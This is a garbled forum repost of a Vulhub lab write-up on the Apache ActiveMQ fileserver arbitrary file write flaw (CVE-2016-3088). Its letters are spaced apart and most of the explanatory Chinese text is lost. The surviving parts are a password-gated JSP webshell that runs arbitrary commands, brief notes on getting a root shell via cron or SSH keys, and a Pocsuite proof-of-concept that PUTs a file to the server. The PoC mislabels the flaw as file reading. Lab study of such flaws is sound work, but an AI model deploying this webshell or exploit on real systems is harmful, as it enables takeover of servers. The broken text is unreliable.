[14687] 2019-10-11_Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2019-10-11_Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析 V u l h u b A c t i v e M Q x s s l e   F r e e B u f   2 0 1 9 - 1 0 - 1 1 A c t i v e M Q A p a c h e   A c t i v e M Q A p a c h e A c t i v e M Q J a v a J a v a A c t i v e M Q 便 f i l e s e r v e r f i l e s e r v e r j s p M O V E 使 M O V E A c t i v e M Q w e b a d m i n a p i f i l e s e r v e r a d m i n a p i f i l e s e r v e r a d m i n a p i 使 f i l e s e r v e r f i l e s e r v e r R E S T f u l   A P I G E T P U T D E L E T E H T T P 1 . 使 2 . A c t i v e M Q 5 . 1 2 . x ~ 5 . 1 3 . x f i l e s e r v e r c o n f / j e t t y . x m l 5 . 1 4 . 0 f i l e s e r v e r A c t i v e M Q A c t i v e M Q     F i l e S e r v e r     H T T P   P U T   i f P U T $ { a c t i v e m q . h o m e } / w e b a p p s / f i l e s e r v e r
M O V E w e b s h e l l 1 w e b s h e l l 2 c r o n s s h   k e y 3 j a r j e t t y . x m l w e b s h e l l p u t < %         i f ( " 0 2 3 " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " p w d " ) ) ) {                 j a v a . i o . I n p u t S t r e a m   i n   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) . g e t I n p u t S t r e a m ( ) ;                 i n t   a   =   - 1 ;                 b y t e [ ]   b   =   n e w   b y t e [ 2 0 4 8 ] ;                 o u t . p r i n t ( " < p r e > " ) ;                 w h i l e ( ( a = i n . r e a d ( b ) ) ! = - 1 ) {                         o u t . p r i n t l n ( n e w   S t r i n g ( b ) ) ;                 }                 o u t . p r i n t ( " < / p r e > " ) ;         } % >
访 M O V E w e b s h e l l j s p j s p 1 / o p t / a c t i v e m q / w e b a p p s / a p i 2 / o p t / a c t i v e m q / w e b a p p s / a d m i n M O V E 怀 v u l h u b b u r p M O V E r e p e a t e r M O V E p s
M O V E 访 访 w e b s h e l l / a p i / a d m i n 访 m o v e a d m i n / a d m i n w e b s h e l l w e b s h e l l
c r o n t a b s h e l l c r o n n r n c r o n t a b / e t c / c r o n . d / r o o t 2 0 4 s h e l l A c t i v e M Q r o o t c r o n j e t t y . x m l a d m i n a p i w e b s h e l l j e t t y . x m l j a r w e b c r o n t a b P o c M O V E P U T p o c P o c s u i t e f r o m   p o c s u i t e . n e t   i m p o r t   r e q f r o m   p o c s u i t e . p o c   i m p o r t   P O C B a s e , O u t p u t f r o m   p o c s u i t e . u t i l s   i m p o r t   r e g i s t e r c l a s s   A c t i v e M Q P o c ( P O C B a s e ) :     #           v u l I D   =   ' 0 0 2 '     #   s s v i d         v e r s i o n   =   ' 1 . 0 '         a u t h o r   =   [ ' x s s l e ' ]         v u l D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         c r e a t e D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         u p d a t e D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         r e f e r e n c e s   =   [ ' h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 6 0 0 6 4 . h t m l ' ]         n a m e   =   ' A p a c h e   A c t i v e M Q     ( C V E - 2 0 1 6 - 3 0 8 8 ) '
        a p p P o w e r L i n k   =   ' a c t i v e m q . a p a c h e . o r g '         a p p N a m e   =   ' A p a c h e   a c t i v e m q '         a p p V e r s i o n   =   '   A p a c h e   A c t i v e M Q   5 . 1 4 . 0 '         v u l T y p e   =   ' A r b i t r a r y   F i l e   R e a d i n g '         d e s c   =   ' ' '                 f i l e s e r v e r f i l e s e r v e r j s p                 M O V E 使 M O V E         ' ' '         p o c D e s c   =   ' ' '                 p o c s u i t e   - r   * * * . p y   - u   t a r g e t   - - v e r i f y "         ' ' '         s a m p l e s   =   [ ]         i n s t a l l _ r e q u i r e s   =   [ ' ' ]         d e f   _ v e r i f y ( s e l f ) :                 r e s u l t   =   { }                 p a t h   =   " f i l e s e r v e r / p o c . t x t "                 u r l   =   s e l f . u r l   +   ' / '   +   p a t h                 h e a d e r   =   {                         " A c c e p t " :   " * / * " ,                         " A c c e p t - L a n g u a g e " :   " e n " ,                         " U s e r - A g e n t " : " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) " ,                         " C o n n e c t i o n " : " c l o s e " ,                         " C o n t e n t - L e n g t h " : " 1 2 0 9 7 6 "                 }                 t r y :                         r e s p   =   r e q . p u t ( u r l , h e a d e r )                         r e s p 1   =   r e q . g e t ( u r l , h e a d e r )                         i f   r e s p . s t a t u s _ c o d e   = =   2 0 4   a n d   s t r ( r e s p 1 . s t a t u s _ c o d e ) [ 0 ]   i n   ( ' 2 ' , ' 3 ' )   :                                 r e s u l t [ ' V e r i f y I n f o ' ]   =   { }                                 r e s u l t [ ' V e r i f y I n f o ' ] [ ' U R L ' ]   =   u r l                 e x c e p t   E x c e p t i o n   a s   e x :                         p a s s                 r e t u r n   s e l f . p a r s e _ o u t p u t ( r e s u l t )         d e f   p a r s e _ o u t p u t ( s e l f ,   r e s u l t ) :                 o u t p u t   =   O u t p u t ( s e l f )                 i f   r e s u l t :                         o u t p u t . s u c c e s s ( r e s u l t )                 e l s e :                         o u t p u t . f a i l ( ' t a r g e t   i s   n o t   v u l n e r a b l e ' )                 r e t u r n   o u t p u t         d e f   _ a t t a c k ( s e l f ) :                 r e t u r n   s e l f . _ v e r i f y ( ) r e g i s t e r ( A c t i v e M Q P o c )
p o c s u i t e h t t p : / / p o c s u i t e . o r g / * x s s l e F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则